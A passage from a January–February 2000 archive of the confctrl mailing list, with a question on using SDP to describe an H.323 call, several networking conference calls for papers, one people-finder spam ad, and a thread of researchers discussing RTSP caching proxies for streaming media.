Z. Mammeri (France) - University of Toulouse 
S. Martignoni (Switzerland) - Ascom TechLtd
N. Mastorakis (Greece) - Military Institutions of University Education
U. Mocci (Italy) - FUB
M. Nunes (Portugal) - IST/INESC
G. Omiyar (USA) - Computer Sciences Corp
J.J. Pansiot (France) - University of Strasbourg
J.L. Pernin (France) - Consultant
G. Petit (Belgium) - Alcatel Anvers
M. Potts (Switzerland) - Martel 
G. Pujolle (France) - University of Versailles-Saint-Quentin
S. Rao (Switzerland) - TELSCOM 
M. Renaldo (France) - SAGEM
M. Riguidel (France) - Thomson
S. Ritzenthaler (France) - Newbridge 
J. Roberts (France) - France Telecom Cnet
P. Rolin (France) - France Telecom Cnet 
R. Schutz (France) - CS Telecom
H. Tobiet (France) - Clemessy 
S. Tohme (France) - ENST Paris
L. Toutain (France) - ENST Bretagne
P. Tran Gia (Germany) - University of Würzburg
P. Van Heck (The Netherlands) - Erasmus University
P. Van Mieghem (The Netherlands) - Delft University of Technology
E. Vazquez Gallo (Spain) - University of Madrid 
V.A. Villagra (Spain) - University of Madrid
M. Villen (Spain) - Telefonica I+D




From confctrl-owner  Tue Jan 25 03:38:29 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA25402
	for confctrl-outgoing; Tue, 25 Jan 2000 03:38:29 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA25397
	for <confctrl@zephyr.isi.edu>; Tue, 25 Jan 2000 03:38:27 -0800 (PST)
Received: from gorilla.mchh.siemens.de (gorilla.mchh.siemens.de [194.138.158.18])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA03473
	for <confctrl@ISI.EDU>; Tue, 25 Jan 2000 03:38:39 -0800 (PST)
Received: from blues.mchh.siemens.de (mail3.mchh.siemens.de [194.138.158.227] (may be forged))
	by gorilla.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id MAA13224;
	Tue, 25 Jan 2000 12:37:26 +0100 (MET)
Received: from mchh201e.demchh201e.icn.siemens.de ([218.1.68.104])
	by blues.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id MAA24202;
	Tue, 25 Jan 2000 12:35:54 +0100 (MET)
Received: by MCHH201E with Internet Mail Service (5.5.2448.0)
	id <DKAW3NMA>; Tue, 25 Jan 2000 12:38:27 +0100
Message-ID: <679076A067F2D211A8F70090274481B8151429@lnn201e.lan.siemens.fr>
From: Samandi Sami <Sami.Samandi@SRIT.siemens.fr>
To: sip@lists.research.bell-labs.com
Cc: confctrl@ISI.EDU
Subject: Using SDP to describe a H323 session
Date: Tue, 25 Jan 2000 12:38:04 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear all,

  I want an endpoint to start a SIP session describing a H323 call (e.g the
INVITE is only aimed to start the H323 call). As the  H323 call will not be
under control of SIP (media characteristics are unknown during the SIP
session) I have difficulties to describe the H323 call using SDP. Based on
what I have read in the MMUSIC mailig list archive I want to do the
following :

c=IN IP4 A.B.C.D
m=control 1719 H323 caps 

This mean a call should be addressed to A.B.C.D on port 1719 using Q931
(this is a direct routed call).

am I right or wrong ?

Thank you
Sami




From confctrl-owner  Tue Jan 25 13:06:13 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA23894
	for confctrl-outgoing; Tue, 25 Jan 2000 13:06:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA23888
	for <confctrl@zephyr.isi.edu>; Tue, 25 Jan 2000 13:06:11 -0800 (PST)
Received: from rum.isi.edu (rum-e.isi.edu [128.9.160.237])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA23399
	for <confctrl@isi.edu>; Tue, 25 Jan 2000 13:06:28 -0800 (PST)
Received: (from touch@localhost)
	by rum.isi.edu (8.8.7/8.8.6) id NAA25314;
	Tue, 25 Jan 2000 13:06:28 -0800 (PST)
Message-Id: <200001252106.NAA25314@rum.isi.edu>
To: confctrl@ISI.EDU
Date: Mon, 24 Jan 2000 16:37:03 -0800
From: Joe Touch <touch@ISI.EDU>
Reply-To: sigcomm2000-info@acm.org
Organization: Sigcomm 2000
Subject: Sigcomm 2000 CFP - reminder
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

	     ACM SIGCOMM 2000 Conference
	    August 28 - September 1, 2000
	          Stockholm, Sweden      

Reminder - the SIGCOMM Call for Papers deadline
for submission is _this Friday_, January 28, 2000.

For information on how to submit, see:

	http://www.acm.org/sigcomm/sigcomm2000

From confctrl-owner  Wed Jan 26 04:12:36 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA05810
	for confctrl-outgoing; Wed, 26 Jan 2000 04:12:36 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA05805
	for <confctrl@zephyr.isi.edu>; Wed, 26 Jan 2000 04:12:35 -0800 (PST)
Received: from smtp1.cluster.oleane.net (smtp1.cluster.oleane.net [195.25.12.16])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA17902
	for <confctrl@isi.edu>; Wed, 26 Jan 2000 04:12:52 -0800 (PST)
Received: from oleane  (dyn-1-1-009.Vin.dialup.oleane.fr [195.25.4.9])  by smtp1.cluster.oleane.net  with SMTP id NAA52637; Wed, 26 Jan 2000 13:12:44 +0100 (CET)
Message-ID: <008c01bf67f6$3f458680$0401a8c0@oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <Undisclosed-Recipient:@smtp1.cluster.oleane.net;>
Subject: SIP 2000 Call for Papaer
Date: Wed, 26 Jan 2000 13:09:46 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0089_01BF67FE.9E62EA60"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0089_01BF67FE.9E62EA60
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

SIP 2000: Beyond H.323? A scientific committe composed of the most =
eminent experts in this technology will review the abstracts submitted =
from the Call For Papers:
http://www.upperside.fr/basip.htm
Take a look at the exhibition list.


------=_NextPart_000_0089_01BF67FE.9E62EA60
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT color=3D#000000 size=3D2>SIP 2000: Beyond H.323? A scientific =
committe=20
composed of the most eminent experts in this technology will review the=20
abstracts submitted from the Call For Papers:</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2><A=20
href=3D"http://www.upperside.fr/basip.htm">http://www.upperside.fr/basip.=
htm</A></FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Take a look at the exhibition=20
list.</FONT></FONT></DIV></DIV></FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0089_01BF67FE.9E62EA60--


From confctrl-owner  Wed Jan 26 18:34:03 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA16425
	for confctrl-outgoing; Wed, 26 Jan 2000 18:34:03 -0800 (PST)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA16416
	for <confctrl@zephyr.isi.edu>; Wed, 26 Jan 2000 18:34:01 -0800 (PST)
Received: from za-ba4545 (ABDB23A6.ipt.aol.com [171.219.35.166])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id SAA16894;
	Wed, 26 Jan 2000 18:28:03 -0800 (PST)
Message-ID: <53731.86169@za-ba4545>
From: "info72483@babit.com" <info72483@babit.com>
Subject: WE FIND MISSING PEOPLE for YOU.....Or it's FREE!!_ (4036)
Date: Wed, 26 Jan 2000 20:27:39 -0400 (EDT)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

WE FIND MISSING PEOPLE for YOU....Or it's FREE!!

As SEEN on OPRAH.....AMERICA FIND INC.

Satisfaction GUARANTEED....in WRITING!

See our Web Site at http://216.52.222.11/find

AMERICAFIND your LOST LOVE from HIGH SCHOOL
AMERICAFIND the Person who SKIPPED TOWN owing you MONEY
AMERICAFIND the Person you SERVED with in COMBAT
AMERICAFIND that DEADBEAT PARENT

Let AMERICAFIND that MISSING Person for YOU!!

http://216.52.222.11/find

RESULTS in 72 HOURS or LESS!!

**************************************************************************
Under Bill s.1618 TITLE III passed by the 105th U.S. Congress 
this letter cannot be considered "spam" as long as we include:
Contact information as listed below. To be removed from this list, please mail to: 
americafind21@email.com with 'remove' in subject line and you will
be removed from our list.
***************************************************************************
Mail any order, questions or remove complaints to:

America Find Inc.
PO Box 16676
Houston, Texas,
77222

********************
1327

From confctrl-owner  Wed Jan 26 23:56:13 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA29224
	for confctrl-outgoing; Wed, 26 Jan 2000 23:56:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA29198;
	Wed, 26 Jan 2000 23:56:01 -0800 (PST)
Received: from imc01.ex.nus.edu.sg (imc01.ex.nus.edu.sg [137.132.14.60])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA06772;
	Wed, 26 Jan 2000 23:56:18 -0800 (PST)
Received: by imc01.ex.nus.edu.sg with Internet Mail Service (5.5.2650.21)
	id <DNNXN042>; Thu, 27 Jan 2000 15:49:15 +0800
Message-ID: <FD3672F0C0A4D01196B30020AFFBEDC603986B16@exs05.ex.nus.edu.sg>
From: P A Centre Visitor <engv13@nus.edu.sg>
Subject: RE: IEEE ICON' 2000 Conference - Call for Papers, Tutorials ...
Date: Thu, 27 Jan 2000 15:48:17 +0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

		Dear All

			>The 8th IEEE International Conference On Networks
will be held from >September 5- 8, 2000 in Singapore.  

			]The aim of the conference is to >provide >an
international forum for experts to promote, share and discuss various
			>>issues and developments in the broad field of
computer and communication networks.

			>>We thus seek and solicit your contributions >in
the form of original/unpublished papers, tutorials, and topics for
			>special sessions/panel discussions. 


			More information on the scope of the conference and
the guidelines for the submission of contributions can
			>>>be obtained at this web site : 

		      http://www.comp.nus.edu.sg/~icon/
<http://www.comp.nus.edu.sg/~icon/>  

			>
			>We look forward to your participation. Thank you.
			>
			>Icon 2000 organizing Committee

		      Best Regards
		      
		      Catherine Kua (Mrs)
		      ICON Secretariat
		      c/o Professional Activities Centre
		      Faculty of Engineering
		      Tel: (65) 8745113
		      Fax: (65) 8745097
		      Email: engpac@nus.edu.sg
		       
		 
		

From confctrl-owner  Fri Jan 28 09:56:06 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA17911
	for confctrl-outgoing; Fri, 28 Jan 2000 09:56:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17906
	for <confctrl@zephyr.isi.edu>; Fri, 28 Jan 2000 09:56:05 -0800 (PST)
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA03207
	for <confctrl@isi.edu>; Fri, 28 Jan 2000 09:56:23 -0800 (PST)
Received: from mailgate2.apple.com ([17.129.100.225])
	by mail-out2.apple.com (8.9.3/8.9.3) with ESMTP id JAA15023
	for <confctrl@isi.edu>; Fri, 28 Jan 2000 09:56:22 -0800 (PST)
Received: from scv2.apple.com (scv2.apple.com) by mailgate2.apple.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0002723665@mailgate2.apple.com> for <confctrl@ISI.EDU>;
 Fri, 28 Jan 2000 09:56:15 -0800
Received: from [17.221.42.60] (serenyi.apple.com [17.221.42.60])
	by scv2.apple.com (8.9.3/8.9.3) with SMTP id JAA10207
	for <confctrl@ISI.EDU>; Fri, 28 Jan 2000 09:56:14 -0800 (PST)
Message-Id: <200001281756.JAA10207@scv2.apple.com>
Subject: RTSP Caching proxies
Date: Fri, 28 Jan 00 09:56:16 -0800
x-sender: denis.s@mail.apple.com
x-mailer: Claris Emailer 2.0v2, June 6, 1997
From: Denis Serenyi <denis.s@apple.com>
To: <confctrl@ISI.EDU>
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I'm a newbie on this list, so pardon if this is not the proper forum...

I'm an engineer at Apple working on the QuickTime Streaming Server & 
Darwin Streaming Server Project, which includes an implementation of RTSP 
and uses RTP.

We've recently been talking to several companies who want to write RTSP 
caching proxies. Though RTSP does take into account & attempts to solve 
some of the issues that a caching proxy would run into, we have had 
requests to add extensions to our implementation of RTSP / RTP to make 
their lives easier.

We've spent some time gathering their feedback to try and come up with a 
common RTSP caching solution that meets everyone's needs. In the past 
couple of days I've been working on coming up with a preliminary spec 
based on this.

However, we don't want to reinvent the wheel, so my first question is, is 
there already any effort to provide a "streaming media caching" protocol? 
Or anything similar?

If yes, please point me at any documentation on this.

If no, I would be happy to share in more detail exactly what problems 
with RTSP / RTP we are attempting to solve for these caching proxy 
vendors, and get feedback on 1) whether these changes are really 
necessary and is there some better way to provide this functionality. 2) 
if these changes are necessary, how to best go about implementing them.

Thanks in advance,
Denis Serenyi
QuickTime Streaming Server Engineering

From confctrl-owner  Fri Jan 28 13:17:50 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA25508
	for confctrl-outgoing; Fri, 28 Jan 2000 13:17:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA25494;
	Fri, 28 Jan 2000 13:17:47 -0800 (PST)
Received: from ziggy.stardust.com (root@ns.stardust.com [205.184.205.34])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA29159;
	Fri, 28 Jan 2000 13:18:04 -0800 (PST)
Received: from WHITESTAR (dhcp204-106.stardust.com [205.184.204.106])
	by ziggy.stardust.com (8.9.3/8.9.3/Debian/GNU) with SMTP id NAA23939;
	Fri, 28 Jan 2000 13:17:14 -0800
Message-Id: <3.0.5.32.20000128131709.009d35c0@stardust.com>
X-Sender: martinb@stardust.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Fri, 28 Jan 2000 13:17:09 -0800
To: mbone@ISI.EDU, rem-conf@es.net, confctrl@ISI.EDU, ipmulticast@stardust.com
From: Marty Bickford <martinb@stardust.com>
Subject: mcast: PIM Source Only - Connectionless Multicast - Multicast
  Debugging
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id NAA25495
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

PIM Source Only, Connectionless Multicast, and Multicast Debugging are just
a few of the technical sessions @ mcast 2000. See more below...

Scalable infrastructure and accelerated content delivery are the themes of
this year's mcast conference and multi-vendor network demonstration. Join
us at this prestigious and influential event on February 7-9, 2000 at the
San Francisco Airport Marriott. http://www.stardust.com/mcast2000/

Price increase
--------------
On Monday, January 31st, the price will increase to $1,295 - sign-up today
at: https://www.stardust.com/events/mcast2000/register.htm

Highlights
----------
Below we've highlighted the 3 things most interesting to this list -
conference sessions/speakers, BOFs and the Multicast Splash.

BOFs
----
- MINC (Multicast-based Inference of Network Characteristics) 
  to Infer Loss and Delay Inside the Network
  Sue B. Moon, Sprint ATL 

- Standards/Multicasting Forum
  Steve Jacobson, RealNetworks

- IP Multicast Datagram Forwarding using Non-Procedural 
  Packet Filters
  Charlie Jenkins, Solidum Systems

- International Webcasting
  Peggy Miles, Intervox and IWA

- Wireless Multimedia Forum
  Martin Hall, Stardust.com

Sessions (portion of full agenda) 
---------------------------------
- Attaching DVMRP Domains Safely to the New PIM Mbone
  Cyndi Jung, 3Com

- E-Commerce and IP Multicast/Caching/Content Distribution
  Scott Bishop, Mirror Image Internet & Ken Miller, Starburst

- Multicast on CA*net 3
  David Bickle, Bell Nexxia

- Towards Super-scalable Multicast
  Jörg Liebeherr, University of Virginia

- Using the Java Reliable Multicast Service
  Miriam Kadansky, Sun Microsystems Labs

- PIM Source Only
  Tom Pusateri, Juniper Networks

- Coming Soon to Theaters and Televisions Near You
  Fred Kokaska, Logic Innovations

- Enabling Internet TV with Intelligent Network Infrastructure
  Steven McCanne, FastForward Networks

- Connectionless Multicast (CLM)
  Dirk Ooms,  Alcatel Corporate Research Center

- Deployment Issues for the Multicast Architecture
  Brian Neil Levine, University of Massachusetts Amherst

- Fine Granular Scalability: a new framework for real-time 
  video streaming of multimedia content over the Internet
  Hayder Radha, Philips Research

- Multicast Debugging
  Bill Fenner, AT&T Labs - Research

- Caching – The Component Technology for Edge Delivery
  Rod Murchison, CacheFlow

SPLASH II
---------
New Internet Content Delivery Mechanisms Make Their Debut
 
* Are you following the multi-million dollar investments in Geocast?
* Do you know what Virgin's put in place for digital music distribution?
* Do you know what TV stations are doing to enable IP-based
  content delivery over their local broadcast spectrum?
* Have you considered what it means for local TV stations to become
  Internet Service providers?
* Have you experienced the delivery of Internet content to
  a PC through rabbit ear antennas?

On Monday February 7, you can get answers to all these questions and more
from the following companies at the debut of the Splash project
incorporating 6 months' work from these companies.

* AT&T * Bloomberg * Hewlett-Packard Company * Hughes Network Systems
* Internet Initiative Japan * KNTV NewsChannel 11 * Microspace Communications
* Netcom Systems * Nortel Networks * Priority Networks * Real Networks *
* SkyStream Networks * Stardust.com * Teleglobe * UUNET * Virgin JamCast *
* Yahoo *

1. Meet the people and companies who are developing new technologies, 
   products and services for the delivery of Internet content.

2. Experience first hand many of these new capabilities on show in many
   cases for the first time in the project codenamed "The Splash"
   engineered over the last 6 months by the companies listed above.

When:  5:30-8:00pm, Monday Feb 7, 2000.
Where: San Francisco Airport Marriott Hotel

More Information
----------------
Get more information including a Multicast white paper and MP3's at
http://www.stardust.com/mcast2000/

---
Marty Bickford  - 408.879.8080 (8081-fax)
Stardust.com - http://www.stardust.com

mcast 2000 - http://www.stardust.com/mcast2000/
4th annual summit on scalable content delivery

From confctrl-owner  Sat Jan 29 21:03:15 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA20053
	for confctrl-outgoing; Sat, 29 Jan 2000 21:03:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA20048
	for <confctrl@zephyr.isi.edu>; Sat, 29 Jan 2000 21:03:15 -0800 (PST)
Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA16951
	for <confctrl@ISI.EDU>; Sat, 29 Jan 2000 21:03:34 -0800 (PST)
Received: from alliance.research.att.com (alliance.research.att.com [135.207.26.26])
	by mail-green.research.att.com (Postfix) with ESMTP
	id 972C11E00D; Sun, 30 Jan 2000 00:03:33 -0500 (EST)
Received: from windsor.research.att.com (windsor.research.att.com [135.207.26.46])
	by alliance.research.att.com (8.8.7/8.8.7) with ESMTP id AAA15458;
	Sun, 30 Jan 2000 00:03:32 -0500 (EST)
Date: Sun, 30 Jan 2000 00:03:32 -0500 (EST)
From: Reza Rejaie <reza@research.att.com>
To: Denis Serenyi <denis.s@apple.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP Caching proxies
In-Reply-To: <200001281756.JAA10207@scv2.apple.com>
Message-ID: <Pine.GSO.4.10.10001292336320.29558-100000@windsor.research.att.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Denis,

We have been working on proxy caching mechanisms for layered encoded
multimedia streams. The idea is to use proxy caches to improve
delivered quality and reduce the load on the network/server.
Although we have focused on layered-encoded streams, the proposed
mechanism can be applied to any multimedia stream as long as it
has an internal structure to adjust its quality.

More details can be found in;

Multimedia Proxy Caching Mechanism for Quality Adaptive Streaming 
Applications in the Internet
Reza Rejaie,  Haobo Yu, Mark Handely, Deborah Estrin
To Appear in Proceedings of IEEE INFOCOM'2000
http://netweb.usc.edu/reza/papers/infocom00.ps

There are couple of commercial multimedia-capable caches that do
not provide any technical information. I suspect that they treat
multimedia streams similar to web objects, but they are able to
properly playback those objects for an interested client on a hit,
i.e. They do *not* address the notion of quality improvement.

We have not looked into required extensions in RTP, RTSP to support
our schemes but I would be interested in discussing those issues.

ReZa

On Fri, 28 Jan 2000, Denis Serenyi wrote:

> I'm a newbie on this list, so pardon if this is not the proper forum...
> 
> I'm an engineer at Apple working on the QuickTime Streaming Server & 
> Darwin Streaming Server Project, which includes an implementation of RTSP 
> and uses RTP.
> 
> We've recently been talking to several companies who want to write RTSP 
> caching proxies. Though RTSP does take into account & attempts to solve 
> some of the issues that a caching proxy would run into, we have had 
> requests to add extensions to our implementation of RTSP / RTP to make 
> their lives easier.
> 
> We've spent some time gathering their feedback to try and come up with a 
> common RTSP caching solution that meets everyone's needs. In the past 
> couple of days I've been working on coming up with a preliminary spec 
> based on this.
> 
> However, we don't want to reinvent the wheel, so my first question is, is 
> there already any effort to provide a "streaming media caching" protocol? 
> Or anything similar?
> 
> If yes, please point me at any documentation on this.
> 
> If no, I would be happy to share in more detail exactly what problems 
> with RTSP / RTP we are attempting to solve for these caching proxy 
> vendors, and get feedback on 1) whether these changes are really 
> necessary and is there some better way to provide this functionality. 2) 
> if these changes are necessary, how to best go about implementing them.
> 
> Thanks in advance,
> Denis Serenyi
> QuickTime Streaming Server Engineering
> 


From confctrl-owner  Sun Jan 30 11:31:09 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA16007
	for confctrl-outgoing; Sun, 30 Jan 2000 11:31:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA16002
	for <confctrl@zephyr.isi.edu>; Sun, 30 Jan 2000 11:31:07 -0800 (PST)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA08293
	for <confctrl@ISI.EDU>; Sun, 30 Jan 2000 11:31:27 -0800 (PST)
Received: from entera.com ([24.1.50.101]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-61971U200L100S0V35)
          with ESMTP id com; Sun, 30 Jan 2000 11:47:15 -0800
Message-ID: <38948F0C.C39BA768@entera.com>
Date: Sun, 30 Jan 2000 11:20:44 -0800
From: alagu@entera.com (Alagu Periyannan)
Organization: Entera, Inc.
X-Mailer: Mozilla 4.61 [en]C-AtHome0407  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Reza Rejaie <reza@research.att.com>
CC: Denis Serenyi <denis.s@apple.com>, confctrl@ISI.EDU
Subject: Re: RTSP Caching proxies
References: <Pine.GSO.4.10.10001292336320.29558-100000@windsor.research.att.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi all,

Entera has done some work in the area of RTSP caching.

We are very interested in open standards for media caching and can make
our current proposal available as an IETF draft to aid this discussion.

The 2 keys problems that need solutions and possibly extensions to RTSP
are,

(a) Replicating a loss-less copy of the media from an origin server into
a cache.

(b) If we do (a) how do we solve copyright issues (because media content
is considered by most people as more valuable than web pages.)

Other issues such as cache coherency, access logging, authentication,
etc. can easily be solved within the current RTSP protocol
specification.

-Alagu

Alagu Periyannan
alagu@entera.com

Reza Rejaie wrote:
> 
> There are couple of commercial multimedia-capable caches that do
> not provide any technical information. I suspect that they treat
> multimedia streams similar to web objects, but they are able to
> properly playback those objects for an interested client on a hit,
> i.e. They do *not* address the notion of quality improvement.
> 
> We have not looked into required extensions in RTP, RTSP to support
> our schemes but I would be interested in discussing those issues.
> 
> ReZa
>

From confctrl-owner  Mon Jan 31 08:08:29 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA22086
	for confctrl-outgoing; Mon, 31 Jan 2000 08:08:29 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA22081
	for <confctrl@zephyr.isi.edu>; Mon, 31 Jan 2000 08:08:28 -0800 (PST)
Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA08664
	for <confctrl@isi.edu>; Mon, 31 Jan 2000 08:08:48 -0800 (PST)
Received: from surfcity.research.att.com (surfcity.research.att.com [135.207.128.5])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id 105824CE12; Mon, 31 Jan 2000 11:08:47 -0500 (EST)
Received: from pcbasso (nsl-dialup17.research.att.com [135.207.140.144])
	by surfcity.research.att.com (8.8.7/8.8.7) with SMTP id LAA08325;
	Mon, 31 Jan 2000 11:08:41 -0500 (EST)
Message-ID: <00e201bf6c05$573fd2a0$0583cf87@pcbasso.research.att.com>
Reply-To: "Andrea Basso" <basso@research.att.com>
From: "Andrea Basso" <basso@research.att.com>
To: "Denis Serenyi" <denis.s@apple.com>, <confctrl@ISI.EDU>
Cc: "Jennifer Rexford" <jrex@research.att.com>
Subject: Re: RTSP Caching proxies
Date: Mon, 31 Jan 2000 11:07:53 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3612.1700
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Here in AT&T labs we are doing some work on RTSP caching proxies.

See:

Stephane Gruber, Jennifer Rexford, and Andrea Basso, "Protocol
considerations for a prefix-caching proxy for multimedia streams," to appear
in Proc. World Wide Web Conference, May 2000

and other papers that can be found on
http://www.research.att.com/~jrex/papers.html#video


-A

Andrea Basso, AT&T Labs Research
Room 3-219
100 Shultz Drive, Red Bank,NJ 07701
ph:  (732) 345-3302
fax  (732) 345-3033
basso@research.att.com

-----Original Message-----
From: Denis Serenyi <denis.s@apple.com>
To: confctrl@isi.edu <confctrl@isi.edu>
Date: Friday, January 28, 2000 2:03 PM
Subject: RTSP Caching proxies


>I'm a newbie on this list, so pardon if this is not the proper forum...
>
>I'm an engineer at Apple working on the QuickTime Streaming Server &
>Darwin Streaming Server Project, which includes an implementation of RTSP
>and uses RTP.
>
>We've recently been talking to several companies who want to write RTSP
>caching proxies. Though RTSP does take into account & attempts to solve
>some of the issues that a caching proxy would run into, we have had
>requests to add extensions to our implementation of RTSP / RTP to make
>their lives easier.
>
>We've spent some time gathering their feedback to try and come up with a
>common RTSP caching solution that meets everyone's needs. In the past
>couple of days I've been working on coming up with a preliminary spec
>based on this.
>
>However, we don't want to reinvent the wheel, so my first question is, is
>there already any effort to provide a "streaming media caching" protocol?
>Or anything similar?
>
>If yes, please point me at any documentation on this.
>
>If no, I would be happy to share in more detail exactly what problems
>with RTSP / RTP we are attempting to solve for these caching proxy
>vendors, and get feedback on 1) whether these changes are really
>necessary and is there some better way to provide this functionality. 2)
>if these changes are necessary, how to best go about implementing them.
>
>Thanks in advance,
>Denis Serenyi
>QuickTime Streaming Server Engineering
>


From confctrl-owner  Tue Feb  1 05:09:54 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA04284
	for confctrl-outgoing; Tue, 1 Feb 2000 05:09:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA04279
	for <confctrl@zephyr.isi.edu>; Tue, 1 Feb 2000 05:09:52 -0800 (PST)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA15325
